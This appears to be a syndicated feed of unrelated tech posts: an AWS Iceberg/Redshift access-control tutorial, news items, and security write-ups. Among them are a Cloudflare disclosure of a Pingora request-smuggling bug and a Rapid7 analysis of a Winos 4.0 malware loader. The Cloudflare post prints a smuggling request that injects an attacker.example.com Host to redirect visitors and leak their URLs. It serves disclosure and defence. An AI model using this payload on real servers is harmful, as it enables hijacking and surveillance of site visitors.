Scalable analytics and centralized governance for Apache Iceberg tables using Amazon S3 Tables and Amazon Redshift

Post Syndicated from Satesh Sonti original https://aws.amazon.com/blogs/big-data/scalable-analytics-and-centralized-governance-for-apache-iceberg-tables-using-amazon-s3-tables-and-amazon-redshift/

Amazon Redshift supports querying data stored in Apache Iceberg tables managed by Amazon S3 Tables, which we previously covered as part of getting started blog post. While this blog post helps you to get started using Amazon Redshift with Amazon S3 Tables, there are additional steps you need to consider when working with your data in production environments, including who has access to your data and with what level of permissions.

In this post, we’ll build on the first post in this series to show you how to set up an Apache Iceberg data lake catalog using Amazon S3 Tables and provide different levels of access control to your data. Through this example, you’ll set up fine-grained access controls for multiple users and see how this works using Amazon Redshift. We’ll also review an example with simultaneously using data that resides both in Amazon Redshift and Amazon S3 Tables, enabling a unified analytics experience.

Solution overview

In this solution, we show how to query a dataset stored in Amazon S3 Tables for further analysis using data managed in Amazon Redshift. Specifically, we go through the steps shown in the following figure to load a dataset into Amazon S3 Tables, grant appropriate permissions, and finally execute queries to analyze our dataset for trends and insights.

Solution Architecture

In this post, you walk through the following steps:

  1. Creating an Amazon S3 Table bucket: In AWS Management Console for Amazon S3, create an Amazon S3 Table bucket and integrate with other AWS analytics services
  2. Creating an S3 Table and loading data: Run spark SQL in Amazon EMR to create a namespace and an S3 Table and load diabetic patients’ visit data
  3. Granting permissions: Granting fine-grained access controls in AWS Lake Formation
  4. Running SQL analytics: Querying S3 Tables using the auto mounted S3 Table catalog.

This post uses data from a healthcare use case to analyze information about diabetic patients and identify the frequency of age groups admitted to the hospital. You’ll use the preceding steps to perform this analysis.

Prerequisites

To begin, you need to add an Amazon Redshift service-linked role—AWSServiceRoleForRedshift—as a read-only administrator in Lake Formation. You can run following AWS Command Line Interface (AWS CLI) command to add the role.

Replace <account_number> with your account number and replace <region> with the AWS Region that you are using. You can run this command from AWS CloudShell or through AWS CLI configured in your environment.

aws lakeformation put-data-lake-settings \
        --region <region> \
        --data-lake-settings \
 '{
   "DataLakeAdmins": [{"DataLakePrincipalIdentifier":"arn:aws:iam::<account_number>:role/Admin"}],
   "ReadOnlyAdmins":[{"DataLakePrincipalIdentifier":"arn:aws:iam:: <account_number>:role/aws-service-role/redshift.amazonaws.com/AWSServiceRoleForRedshift"}],
   "CreateDatabaseDefaultPermissions":[],
   "CreateTableDefaultPermissions":[],
   "Parameters":{"CROSS_ACCOUNT_VERSION":"4","SET_CONTEXT":"TRUE"}
  }'

You also need to create or use an existing Amazon Elastic Compute Cloud (Amazon EC2) key pair that will be used for SSH connections to cluster instances. For more information, see Amazon EC2 key pairs.

The examples in this post require the following AWS services and features:

The CloudFormation template that follows creates the following resources:

  • An Amazon EMR 7.6.0 cluster with Apache Iceberg packages
  • An Amazon Redshift Serverless instance
  • An AWS Identity and Access Management (IAM) instance profile, service role, and security groups
  • IAM roles with required policies
  • Two IAM users: nurse and analyst

Download the CloudFormation template, or you can use the Launch Stack button to automatically download it to your AWS environment. Note that network routes are directed to 255.255.255.255/32 for security reasons. Replace the routes with your organization’s IP addresses. Also enter your IP or VPN range for Jupyter Notebook access in the SourceCidrForNotebook parameter in CloudFormation.

Launch CloudFormation Stack

Download the diabetic encounters and patient datasets and upload it into your S3 bucket. These files are from a publicly available open dataset.

This sample dataset is used to highlight this use case, the techniques covered can be adapted to your workflows. The following are more details about this dataset:

diabetic_encounters_s3.csv: Contains information about patient visits for diabetic treatment.

  • encounter_id: Unique number to refer to an encounter with a patient who has diabetes.
  • patient_nbr: Unique number to identify a patient.
  • num_procedures: Number of medical procedures administered.
  • num_medications: Number of medications provided during the visit
  • insulin: Insulin level observed. Valid values are steady, up, and no.
  • time_in_hospital: Duration of time in hospital in days.
  • readmitted: Readmitted to hospital within 30 days or after 30 days.

diabetic_patients_rs.csv: Contains patient information such as age group, gender, race, and number of visits.

  • patient_nbr: Unique number to identify a patient
  • race: Patient’s race
  • gender: Patient’s gender
  • age_grp: Patient’s age group. Valid values are 0-10, 10-20, 20-30, and so on
  • number_outpatient: Number of outpatient visits
  • number_emergency: Number of emergency room visits
  • number_inpatient: Number of inpatient visits

Now that you’ve set up the prerequisites, you’re ready to connect Amazon Redshift to query Apache Iceberg data stored in Amazon S3 Tables.

Create an S3 Table bucket

Before you can use Amazon Redshift to query the data in an Amazon S3 Table, you must create an Amazon S3 Table.

  1. Sign in to the AWS Management Console and go to Amazon S3.
  2. Go to Amazon S3 Table buckets. This is an option in the Amazon S3 console.
  3. In the Table buckets view, there’s a section that describes Integration with AWS analytics services. Choose Enable Integration if you haven’t previously set this up. This sets up the integration with AWS analytics services, including Amazon Redshift, Amazon EMR, and Amazon Athena.
    Enable Integration
  4. Wait a few seconds for the status to change to Enabled.
    Integration Enabled
  5. Choose Create table bucket and enter a bucket name. You can use any name that follows the naming conventions. In this example, we used the bucket name patient-encounter. When you’re finished, choose Create table bucket.Create Table Bucket
  6. After the S3 Table bucket is created, you’ll be redirected to the Table buckets list. Copy the Amazon Resource Name (ARN) of the table bucket you just created to use in the next section.Table Bucket List

Now that your S3 Table bucket is set up, you can load data.

Create S3 Table and load data

The CloudFormation template in the prerequisites created an Apache Spark cluster using Amazon EMR. You’ll use the Amazon EMR cluster to load data into Amazon S3 Tables.

  1. Connect to the Apache Spark primary node using SSH or through Jupyter Notebooks. Note that an Amazon EMR cluster was launched when you deployed the CloudFormation template.
  2. Enter the following command to launch the Spark shell and initialize a Spark session for Iceberg that connects to your S3 Table bucket. Replace <Region>, <accountID> and <bucketname><bucket arn> with the information your region, account and bucket name.
    spark-shell \
      --packages "org.apache.iceberg:iceberg-spark-runtime-3.5_2.12:1.4.1,software.amazon.awssdk:bundle:2.20.160,software.amazon.awssdk:url-connection-client:2.20.160" \
      --master "local[*]" \
      --conf "spark.sql.extensions=org.apache.iceberg.spark.extensions.IcebergSparkSessionExtensions" \
      --conf "spark.sql.defaultCatalog=spark_catalog" \
       --conf "spark.sql.catalog.spark_catalog=org.apache.iceberg.spark.SparkCatalog" \
      --conf "spark.sql.catalog.spark_catalog.type=rest" \
      --conf "spark.sql.catalog.spark_catalog.uri=https://s3tables.<Region>.amazonaws.com/iceberg" \
      --conf "spark.sql.catalog.spark_catalog.warehouse=arn:aws:s3tables:<Region>:<accountID>:bucket/<bucketname>" \
      --conf "spark.sql.catalog.spark_catalog.rest.sigv4-enabled=true" \
      --conf "spark.sql.catalog.spark_catalog.rest.signing-name=s3tables" \
      --conf "spark.sql.catalog.spark_catalog.rest.signing-region=<Region>" \
      --conf "spark.sql.catalog.spark_catalog.io-impl=org.apache.iceberg.aws.s3.S3FileIO" \
      --conf "spark.hadoop.fs.s3a.aws.credentials.provider=org.apache.hadoop.fs.s3a.SimpleAWSCredentialProvider" \
      --conf "spark.sql.catalog.spark_catalog.rest-metrics-reporting-enabled=false"               

See Accessing Amazon S3 Tables with Amazon EMR for upgrades to software.amazon.s3tables package versions.

  1. Next, create a namespace that will link your S3 Table bucket with your Amazon Redshift Serverless workgroup. We chose encounters as the namespace for this example, but you can use a different name. Use the following SparkSQL command:
    spark.sql("CREATE NAMESPACE IF NOT EXISTS s3tablesbucket.encounters")

  2. Create an Apache Iceberg table with name diabetic_encounters.
    spark.sql( 
    """ CREATE TABLE IF NOT EXISTS s3tablesbucket.encounters.`diabetic_encounters` ( 
    encounter_id INT, 
    patient_nbr INT,
    num_procedures INT,
    num_medications INT,
    insulin STRING,
    time_in_hospital INT,
    readmitted STRING 
    ) 
    USING iceberg """
    )

  3. Load csv into the S3 Table encounters.diabetic_encounters. Replace <diabetic_encounters_s3.csv file location> with the Amazon S3 file path of the diabetic_encounters_s3.csv file you uploaded earlier.
    val df = spark.read.format("csv").option("header", "true").option("inferSchema", "true").load("<diabetic_encounters_s3.csv file location> ")
    
    df.writeTo("s3tablesbucket.encounters.diabetic_encounters").using("Iceberg").tableProperty ("format-version", "2").createOrReplace()

  4. Query the data to validate it using Spark shell.
    spark.sql(""" SELECT * FROM s3tablesbucket.encounters.diabetic_encounters """).show()

Grant permissions

In this section, you grant fine-grained access control to the two IAM users created as part of the prerequisites.

  • nurse: Grant access to all columns in the diabetic_encounters table
  • analyst: Grant access to only {encounter_id, patient_nbr, readmitted} columns

First, grant access to the diabetic_encounters table for nurse user.

  1. In AWS Lake Formation, Choose Data Permissions.
  2. On the Grant Permissions page, under Principals, select IAM users and roles.
  3. Select the IAM user nurse.
  4. For Catalogs, select <accoundID>:s3tablescatalog/patient-encounter.
  5. For Databases, select encounterGrant Database Permissions
  6. Scroll down. For Tables, select diabetic_encounters.
  7. For Table permissions, select Select.
  8. For Data permissions, select All data access.Grant Table Permissions
  9. Choose Grant. This will grant select access on all the columns in diabetic_encounters to the nurse

Now grant access to the diabetic_encounters table for the analyst user.

  1. Repeat the same steps that you followed for nurse user up to step 7 in the previous section.
  2. For Data permissions, select Column-based access. Select Include columns and select the encounter_id, patient_nbr, and readmitted columns
    Grant Column Permissions
  3. Choose Grant. This will grant select access on the encounter_id, patient_nbr, and readmitted columns in diabetic_encounters to the analyst

Run SQL analytics

In this section, you will access the data in the diabetic_encounters S3 Table using nurse and analyst to learn how fine-grain access control works. You will also combine data from the S3 Table data with a local table in Amazon Redshift using a single query.

  1. In the Amazon Redshift Query Editor V2, connect to serverless:rs-demo-wg, an Amazon Redshift Serverless instance created by the CloudFormation template.
  2. Select Database user name and password as the connection method and connect using super user awsuser. Provide the password you gave as an input parameter to the CloudFormation stack.Database Connection
  3. Run the following commands to create the IAM users nurse and analyst in Amazon Redshift.
    CREATE USER IAM:nurse password disable;
    CREATE USER IAM:analyst password disable;

  4. Amazon Redshift automatically mounts the Data Catalog as an external database named awsdatacatalog to simplify accessing your tables in Data Catalog. You can grant usage access to this database for the IAM users:
    GRANT USAGE ON DATABASE awsdatacatalog to "IAM:nurse";
    GRANT USAGE ON DATABASE awsdatacatalog to "IAM:analyst";

For the next steps, you must first sign in to the AWS Console as the nurse IAM user. You can find the IAM user’s password in the AWS Secrets Manager console and retrieving the value from the secret ending with iam-users-credentials. See Get a secret value using the AWS console for more information.

  1. After you’ve signed in to the console, navigate to the Amazon Redshift Query Editor V2.
  2. Sign in to your Amazon Redshift cluster using the IAM:nurse. You can do this by connecting to serverless:rs-demo-wg as Federated user. This applies the permission provided in Lake Formation for accessing your data in Amazon S3 Tables:
    Federated Connection
  3. Run following SQL to query S3 Table diabetic_encounters.
    SELECT * FROM patient-encounter@s3tablescatalog"."encounters"."diabetic_encounters";

This returns all the data in the S3 Table for diabetic_encounters across every column in the table, as shown in the following figure:

Diabetic Encounters Output

Recall that you also created an IAM user called analyst that only has access to the encounter_id, patient_nbr, and readmitted columns. Let’s verify that analyst user can only access those columns.

  1. Sign in to the AWS console as the analyst IAM user and open the Amazon Redshift Query Editor v2 using the same steps as above. Run the same query as before:
    SELECT * FROM patient-encounter@s3tablescatalog"."encounters"."diabetic_encounters";
    

This time, you should only the encounter_id, patient_nbr, and readmitted columns:

Diabetic Encounters Output restricted

Now that you’ve seen how you can access data in Amazon S3 Tables from Amazon Redshift while setting the levels of access required for your users, let’s see how we can join data in S3 Tables to tables that already exist in Amazon Redshift.

Combine data from an S3 Table and a local table in Amazon Redshift

For this section, you’ll load data into your local Amazon Redshift cluster. After this is complete, you can analyze the datasets in both Amazon Redshift and S3 Tables.

  1. First, as the analytics federated user, sign in to your Amazon Redshift cluster using Amazon Redshift Query Editor v2.
  2. Use the following SQL command to create a table that contains patient information.:
    CREATE TABLE public.patient_info (
        patient_nbr integer ENCODE az64,
        race character varying(256) ENCODE lzo,
        gender character varying(256) ENCODE lzo,
        age_grp character varying(256) ENCODE lzo,
        number_outpatient integer ENCODE az64,
        number_emergency integer ENCODE az64,
        number_inpatient integer ENCODE az64);

  3. Copy patient information from the file csv that’s stored in your Amazon S3 object bucket. Replace <diabetic_patients_rs.csv file S3 location> with the location of the file in your S3 bucket.
    COPY dev.public.patient_info FROM 's3://<diabetic_patients_rs.csv file S3 location>' 
    IAM_ROLE default 
    FORMAT AS CSV DELIMITER ',' 
    IGNOREHEADER 1;

  4. Use the following query to review the sample data to verify that the command was successful. This will show information from 10 patients, as shown in the following figure.
    SELECT * FROM public.patient_info limit 10;

    Patient Information

  5. Now combine data from the Amazon S3 Table diabetic_encounters and the Amazon Redshift patient_info. In this example, the query fetches information about what age group was most frequently readmitted to the hospital within 30 days of an initial hospital visit:
    SELECT
        age_grp,
        count(*) readmission_count
    FROM
        "patient-encounter@s3tablescatalog"."encounters"."diabetic_encounters" a
    JOIN public.patient_info b ON b.patient_nbr = a.patient_nbr
    WHERE
        a.readmitted='<30'
    GROUP BY age_grp
    ORDER BY readmission_count DESC
    LIMIT 1;

This query returns results showing an age group and the number of re-admissions, as shown in the following figure.

Redamissions Output

Cleanup

To clean up your resources, delete the stack you deployed using AWS CloudFormation. For instructions, see Deleting a stack on the AWS CloudFormation console.

Conclusion

In this post, you walked through an end-to-end process for setting up security and governance controls for Apache Iceberg data stored in Amazon S3 Tables and accessing it from Amazon Redshift. This includes creating S3 Tables, loading data into them, registering the tables in a data lake catalog, setting up access controls, and querying the data using Amazon Redshift. You also learned how to combine data from Amazon S3 Tables and local Amazon Redshift tables stored in Redshift Managed Storage in a single query, enabling a seamless, unified analytics experience. Try out these features and see Working with Amazon S3 Tables and table buckets for more details. We welcome your feedback in the comments section.


About the Authors

Satesh SontiSatesh Sonti is a Sr. Analytics Specialist Solutions Architect based out of Atlanta, specializing in building enterprise data platforms, data warehousing, and analytics solutions. He has over 19 years of experience in building data assets and leading complex data platform programs for banking and insurance clients across the globe.

JonathanJonathan Katz is a Principal Product Manager – Technical on the Amazon Redshift team and is based in New York. He is a Core Team member of the open source PostgreSQL project and an active open source contributor, including PostgreSQL and the pgvector project.

Fedora Council overturns FESCo provenpackager decision

Post Syndicated from jzb original https://lwn.net/Articles/1022243/

The Fedora Council has ruled on the Fedora Engineering Steering
Council’s (FESCo) decision last year to revoke Peter Robinson’s
provenpackager status. In a statement
published to the fedora-devel-announce mailing list, the council has
announced that it has overturned FESCo’s decision:

FESCo didn’t have a specific policy for dealing with a request to remove
Proven Packager rights. In addition, the FESCo process was handled entirely
in private. The contributor didn’t receive a formal notification or warning
from FESCo, and felt blindsided by the official decision when and how it was
announced. The Fedora Council would like to extend our sincerest apology on
behalf of the Fedora Project to them.

LWN covered the
story in December 2024.

What the Take Command 2025 Survey Tells Us About the State of Security

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/05/22/what-the-take-command-2025-survey-tells-us-about-the-state-of-security/

What the Take Command 2025 Survey Tells Us About the State of Security

The Take Command 2025 Virtual Cybersecurity Summit wasn’t just about sharing insights, it was about listening. After the live sessions wrapped, we surveyed attendees to understand where their security programs stand today, what challenges they’re facing, and what they found most valuable during the event.

Now, we’re excited to share those insights in a new downloadable infographic – The Take Command: Pulse of the Industry Survey, capturing the state of exposure management, AI adoption, MDR maturity, and more.

Here are a few standout takeaways from the survey, and where to dive deeper in the sessions on demand.

Exposure management: confidence is growing — but challenges remain

80% of respondents said they have confidence in their ability to respond to cyber risks through their exposure management program, and 60% reported successful integration of EM into their broader security workflows.

But the day-of survey showed a more nuanced reality. More than half of respondents cited “identifying unknown assets” and “monitoring third-party risk” as the top challenges in their exposure programs.

To explore solutions and strategies, check out Risk Revolution: Proactive Strategies for Exposure Management.

MDR adoption is strong — but visibility still needs work

58% of respondents rated their detection and response capabilities at 4 or 5 out of 5, and most teams using MDR cited a need for 24/7 monitoring and support for under-resourced teams. But 21% rated their confidence at 3 or below, indicating that making the right choice in MDR partner is critical.

In sessions like Inside the SOC and Demystifying Cloud Detection & Response, Rapid7’s teams shared real-world threat hunting stories and cloud-centric detection tactics to help close the gap.

Generative AI is a double-edged sword

Generative AI was one of the most discussed topics across the day — and for good reason. 50% of respondents said they were “very” or “extremely concerned” about adversaries using AI to enhance cyber attacks. Yet 36% of respondents say they’re not currently using Generative AI in their own security operations, citing barriers like tool integration, cost, and lack of skilled personnel.

For those navigating this space, AI in Action and Rise of the Machines both delivered practical examples of how teams are using AI responsibly to improve triage, detection, and response — while setting the necessary guardrails for safe adoption.

What attendees found most valuable

Take Command 2025 drew more than 2,200 live attendees, with on-demand views continuing to grow — and the feedback was clear: the content delivered. 67% of survey respondents rated the speakers as “Excellent”, with similarly high marks for session content and delivery.

When asked about their biggest takeaways, attendees consistently highlighted:

  • Exposure management and risk visibility are key
  • SOC operations and real-world case studies
  • AI’s role in transforming security strategy
  • The importance of “thinking like a hacker” to improve defenses

Attendees also appreciated the balance of voices, with one noting:

“Good mix of internal and external resources that knew what they were talking about and how to deliver it to a wide audience.”

Another shared:

“I didn’t think Rapid7 could improve its ability to unify information — but the new Exposure Command solution has done just that.”

From the depth of expertise to the variety of session formats, the summit resonated with attendees across roles, regions, and industries.

Explore the full infographic

Want a deeper dive into the data? Download the full Take Command: Pulse of the Industry Survey infographic to explore:

  • Where teams are seeing success with exposure management
  • How GenAI is being used (or not) across security operations
  • What MDR teams are prioritizing — and what’s holding them back
  • The biggest technical and strategic challenges security leaders face in 2025

[Download the infographic]

Catch up or rewatch: all sessions on demand

Whether you missed the live event or want to explore specific topics in more detail, every session from Take Command 2025 is now available to watch on demand.

AMD Takes Aim for Workstation AI Market With Radeon AI Pro R9700

Post Syndicated from Ryan Smith original https://www.servethehome.com/amd-takes-aim-for-workstation-ai-market-with-radeon-ai-pro-r9700/

In what has quickly become a busy week for workstation and server class video cards at this year’s Computex trade show, AMD has become the latest video card vendor to join the fray with the announcement of their flagship Radeon AI PRO R9700 video card. Based on AMD’s newest RDNA 4 GPU architecture, AMD is […]

The post AMD Takes Aim for Workstation AI Market With Radeon AI Pro R9700 appeared first on ServeTheHome.

[$] Long-duration stress-testing for filesystems

Post Syndicated from jake original https://lwn.net/Articles/1020966/

Testing filesystems is a frequent topic at
the Linux Storage, Filesystem,
Memory Management, and BPF Summit (LSFMM+BPF); the 2025 edition was no
exception. Boris Burkov led a filesystem-track session to discuss
stress-testing filesystems—and running those tests for lengthy periods. He
reviewed what he has been doing when testing filesystems and wanted to
gather ideas for what could be done to catch more bugs before the
filesystems hit production.

Security updates for Thursday

Post Syndicated from jake original https://lwn.net/Articles/1022189/

Security updates have been issued by AlmaLinux (kernel, kernel-rt, and webkit2gtk3), Fedora (mozilla-ublock-origin and sudo-rs), Oracle (.NET 8.0, compat-openssl10, grafana, osbuild-composer, redis:6, ruby:2.5, and webkit2gtk3), SUSE (dante, firefox-esr, gnuplot, govulncheck-vulndb, grype, postgresql13, postgresql14, postgresql15, postgresql16, postgresql17, python-tornado6, python314, thunderbird, ucode-intel, and xen), and Ubuntu (bind9, libfcgi-perl, linux-ibm-5.4, linux-oracle-5.4, postgresql-17, and Tomcat).

Manage B2 Cloud Storage at Scale: Enterprise Web Console Entering Private Preview

Post Syndicated from Kari Rivas original https://www.backblaze.com/blog/manage-b2-cloud-storage-at-scale-enterprise-web-console-entering-private-preview/

A decorative image showing a cloud with the Backblaze logo, a computer monitor, and various icons.

If you’re responsible for managing cloud storage across a fast-growing company, you know the drill: more teams, more data, more buckets—and way more complexity. That’s why we’re launching a new enterprise web console, now entering private preview.

Built for scale, security, and simplicity, the new console gives you:

  • Centralized control over your organization’s cloud storage.
  • The ability to add multiple admins who each have their own credentials. 
  • More flexibility in bucket creation, including the ability to create buckets in any region. 
  • Built-in zero-trust security features like mandatory MFA and SSO support.

Whether you’re wrangling storage across departments or delivering managed services to clients, this is the command center that helps you move faster, stay secure, and keep everything organized. Because managing cloud storage shouldn’t be harder than using it.

What’s new in the enterprise web console?

The new web console gives IT admins and managed service providers (MSPs) a clean, central hub for managing B2 Cloud Storage deployments—whether you’ve got a few buckets or a few thousand. Here’s what’s under the hood:

  • Role-based access controls (RBAC): Assign authorized admin users and utilize a resource group architecture so people only access what they need. Great for zero trust—even better for peace of mind.
  • Mandatory MFA: Because “security optional” isn’t really an option anymore.
  • SSO and SCIM support: Manage your user base automatically and at scale.

We also revamped the user interface so it’s faster to navigate, easier on the eyes, and just generally gets out of your way.

Storage where you need it

With this update, you’ll be able to create and manage B2 Buckets in any available region. That unlocks a few big wins:

  • Ensuring data redundancy and disaster recovery through geographically distributed backup copies.
  • Optimizing application performance for global users by reducing data access latency.
  • Compliance with data residency rules.

Ready to get started?

We’re rolling out the enterprise console in private preview starting soon. If you’re a Backblaze customer with a committed contract, reach out to your Customer Success Manager to see if you’re eligible. Not sure who your CSM is? Email [email protected] for help. 

General availability is coming later this year. Stay tuned—we’ll keep shipping.

The post Manage B2 Cloud Storage at Scale: Enterprise Web Console Entering Private Preview appeared first on Backblaze Blog | Cloud Storage & Cloud Backup

Resolving a request smuggling vulnerability in Pingora

Post Syndicated from Edward Wang original https://blog.cloudflare.com/resolving-a-request-smuggling-vulnerability-in-pingora/

On April 11, 2025 09:20 UTC, Cloudflare was notified via its Bug Bounty Program of a request smuggling vulnerability in the Pingora OSS framework discovered by a security researcher experimenting to find exploits using Cloudflare’s Content Delivery Network (CDN) free tier which serves some cached assets via Pingora.

Customers using the free tier of Cloudflare’s CDN or users of the caching functionality provided in the open source pingora-proxy and pingora-cache crates could have been exposed.  Cloudflare’s investigation revealed no evidence that the vulnerability was being exploited, and was able to mitigate the vulnerability by April 12, 2025 06:44 UTC within 22 hours after being notified.

What was the vulnerability?

The bug bounty report detailed that an attacker could potentially exploit an HTTP/1.1 request smuggling vulnerability on Cloudflare’s CDN service. The reporter noted that via this exploit, they were able to cause visitors to Cloudflare sites to make subsequent requests to their own server and observe which URLs the visitor was originally attempting to access.

We treat any potential request smuggling or caching issue with extreme urgency.  After our security team escalated the vulnerability, we began investigating immediately, took steps to disable traffic to vulnerable components, and deployed a patch. 

We are sharing the details of the vulnerability, how we resolved it, and what we can learn from the action. No action is needed from Cloudflare customers, but if you are using the Pingora OSS framework, we strongly urge you to upgrade to a version of Pingora 0.5.0 or later.

What is request smuggling?

Request smuggling is a type of attack where an attacker can exploit inconsistencies in the way different systems parse HTTP requests. For example, when a client sends an HTTP request to an application server, it typically passes through multiple components such as load balancers, reverse proxies, etc., each of which has to parse the HTTP request independently. If two of the components the request passes through interpret the HTTP request differently, an attacker can craft a request that one component sees as complete, but the other continues to parse into a second, malicious request made on the same connection.


Request smuggling vulnerability in Pingora

In the case of Pingora, the reported request smuggling vulnerability was made possible due to a HTTP/1.1 parsing bug when caching was enabled.

The pingora-cache crate adds an HTTP caching layer to a Pingora proxy, allowing content to be cached on a configured storage backend to help improve response times, and reduce bandwidth and load on backend servers.

HTTP/1.1 supports “persistent connections”, such that one TCP connection can be reused for multiple HTTP requests, instead of needing to establish a connection for each request. However, only one request can be processed on a connection at a time (with rare exceptions such as HTTP/1.1 pipelining). The RFC notes that each request must have a “self-defined message length” for its body, as indicated by headers such as Content-Length or Transfer-Encoding to determine where one request ends and another begins.

Pingora generally handles requests on HTTP/1.1 connections in an RFC-compliant manner, either ensuring the downstream request body is properly consumed or declining to reuse the connection if it encounters an error. After the bug was filed, we discovered that when caching was enabled, this logic was skipped on cache hits (i.e. when the service’s cache backend can serve the response without making an additional upstream request).

This meant on a cache hit request, after the response was sent downstream, any unread request body left in the HTTP/1.1 connection could act as a vector for request smuggling. When formed into a valid (but incomplete) header, the request body could “poison” the subsequent request. The following example is a spec-compliant HTTP/1.1 request which exhibits this behavior:

GET /attack/foo.jpg HTTP/1.1
Host: example.com
<other headers…>
content-length: 79

GET / HTTP/1.1
Host: attacker.example.com
Bogus: foo

Let’s say there is a different request to victim.example.com that will be sent after this one on the reused HTTP/1.1 connection to a Pingora reverse proxy. The bug means that a Pingora service may not respect the Content-Length header and instead misinterpret the smuggled request as the beginning of the next request:

GET /attack/foo.jpg HTTP/1.1
Host: example.com
<other headers…>
content-length: 79

GET / HTTP/1.1 // <- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // <- actual next valid req start
Host: victim.example.com
<other headers…>

Thus, the smuggled request could inject headers and its URL into a subsequent valid request sent on the same connection to a Pingora reverse proxy service.

CDN request smuggling and hijacking

On April 11, 2025, Cloudflare was in the process of rolling out a Pingora proxy component with caching support enabled to a subset of CDN free plan traffic. This component was vulnerable to this request smuggling attack, which could enable modifying request headers and/or URL sent to customer origins.

As previously noted, the security researcher reported that they were also able to cause visitors to Cloudflare sites to make subsequent requests to their own malicious origin and observe which site URLs the visitor was originally attempting to access. During our investigation, Cloudflare found that certain origin servers would be susceptible to this secondary attack effect. The smuggled request in the example above would be sent to the correct origin IP address per customer configuration, but some origin servers would respond to the rewritten attacker Host header with a 301 redirect. Continuing from the prior example:

GET / HTTP/1.1 // <- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // <- actual next valid req start
Host: victim.example.com
<other headers…>

HTTP/1.1 301 Moved Permanently // <- susceptible victim origin response
Location: https://attacker.example.com/
<other headers…>

When the client browser followed the redirect, it would trigger this attack by sending a request to the attacker hostname, along with a Referrer header indicating which URL was originally visited, making it possible to load a malicious asset and observe what traffic a visitor was trying to access.

GET / HTTP/1.1 // <- redirect-following request
Host: attacker.example.com
Referrer: https://victim.example.com/victim/main.css
<other headers…>

Upon verifying the Pingora proxy component was susceptible, the team immediately disabled CDN traffic to the vulnerable component on 2025-04-12 06:44 UTC to stop possible exploitation. By 2025-04-19 01:56 UTC and prior to re-enablement of any traffic to the vulnerable component, a patch fix to the component was released, and any assets cached on the component’s backend were invalidated in case of possible cache poisoning as a result of the injected headers.

Remediation and next steps

If you are using the caching functionality in the Pingora framework, you should update to the latest version of 0.5.0. If you are a Cloudflare customer with a free plan, you do not need to do anything, as we have already applied the patch for this vulnerability.

Timeline

All timestamps are in UTC.

  • 2025-04-11 09:20 – Cloudflare is notified of a CDN request smuggling vulnerability via the Bug Bounty Program.

  • 2025-04-11 17:16 to 2025-04-12 03:28 – Cloudflare confirms vulnerability is reproducible and investigates which component(s) require necessary changes to mitigate.

  • 2025-04-12 04:25 – Cloudflare isolates issue to roll out of a Pingora proxy component with caching enabled and prepares release to disable traffic to this component.

  • 2025-04-12 06:44 – Rollout to disable traffic complete, vulnerability mitigated.

Conclusion

We would like to sincerely thank James Kettle & Wannes Verwimp, who responsibly disclosed this issue via our Cloudflare Bug Bounty Program, allowing us to identify and mitigate the vulnerability. We welcome further submissions from our community of researchers to continually improve the security of all of our products and open source projects.

Whether you are a customer of Cloudflare or just a user of our Pingora framework, or both, we know that the trust you place in us is critical to how you connect your properties to the rest of the Internet. Security is a core part of that trust and for that reason we treat these kinds of reports and the actions that follow with serious urgency. We are confident about this patch and the additional safeguards that have been implemented, but we know that these kinds of issues can be concerning. Thank you for your continued trust in our platform. We remain committed to building with security as our top priority and responding swiftly and transparently whenever issues arise.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

Post Syndicated from Anna Širokova original https://blog.rapid7.com/2025/05/22/nsis-abuse-and-srdi-shellcode-anatomy-of-the-winos-4-0-campaign/

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

Co-authored by Ivan Feigl

Executive summary

Rapid7 has been tracking a malware campaign that uses fake software installers disguised as popular apps like VPN and QQBrowser—to deliver Winos v4.0, a hard-to-detect malware that runs entirely in memory and gives attackers remote access.

The campaign was first spotted during a February 2025 MDR investigation. Since then, we’ve seen more samples using the same infection method—a multi-layered setup we call the Catena loader. Catena uses embedded shellcode and configuration switching logic to stage payloads like Winos v4.0 entirely in memory, evading traditional antivirus tools.

Once installed, it quietly connects to attacker-controlled servers—mostly hosted in Hong Kong—to receive follow-up instructions or additional malware. While we’ve seen no signs of widespread targeting, the operation appears focused on Chinese-speaking environments and shows signs of careful, long-term planning by a capable threat group.

Rapid7 has deployed detections for this activity and continues to monitor for new variants. Indicators and analysis related to this campaign are available in Rapid7 Intelligence Hub.

Introduction

This blog covers a malware campaign tracked by Rapid7 that uses trojanized NSIS installers to deploy Winos v4.0, a stealthy, memory-resident stager. The first sample was flagged during a February 2025 MDR investigation. Following that case, we identified additional related samples through threat hunting and malware analysis.

All observed samples relied on NSIS installers bundled with signed decoy apps, shellcode embedded in `.ini` files, and reflective DLL injection to quietly maintain persistence and avoid detection. We refer to this full infection chain as Catena, due to its modular, chain-like structure.

The campaign has so far been active throughout 2025, showing a consistent infection chain with some tactical adjustments—pointing to a capable and adaptive threat actor.

In this report, we start with a brief recap of the February 2025 MDR incident, which was also covered by other researchers. We then focus on newer samples found later in 2025 that follow the same core infection chain but introduce changes in delivery, tooling, and evasion—highlighting how the campaign continues to evolve.

How it started: QQBrowser Installer in MDR Case

In February 2025, Rapid7’s MDR team detected suspicious activity on a customer asset involving a trojanized NSIS installer masquerading as QQBrowser installer `QQBrowser_Setup_x64.exe`. While the file initially appeared legitimate, further analysis revealed it delivered malware via a multi-stage, memory-resident loader chain. Upon execution, the installer created an Axialis directory under %APPDATA% and dropped several files:

  • `Axialis.vbs` – a VBScript launcher
  • `Axialis.ps1` – a PowerShell-based loader
    `Axialis.dll` – a malicious DLL
  • `Config.ini` and `Config2.ini` – binary configuration files containing shellcode and embedded payloads
  • A desktop shortcut and the original QQBrowser setup binary used for deception

Upon execution, the malware follows this chain shown below.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 1: QQBrowser-Based Infection Flow Observed in MDR Case

During runtime analysis, the `Axialis.dll` loader creates the mutex `VJANCAVESU` via the `CreateMutexA` API. If the mutex exists, it loads `Config2.ini`; if not, it loads `Config.ini`.

This behavior has been described by other researchers, who observed similar configuration switching logic in the DeepSeek campaigns — where the selected payload depended on the infection state. Both `.ini` files contain shellcode and embedded payload DLLs, all loaded and executed reflectively in memory.

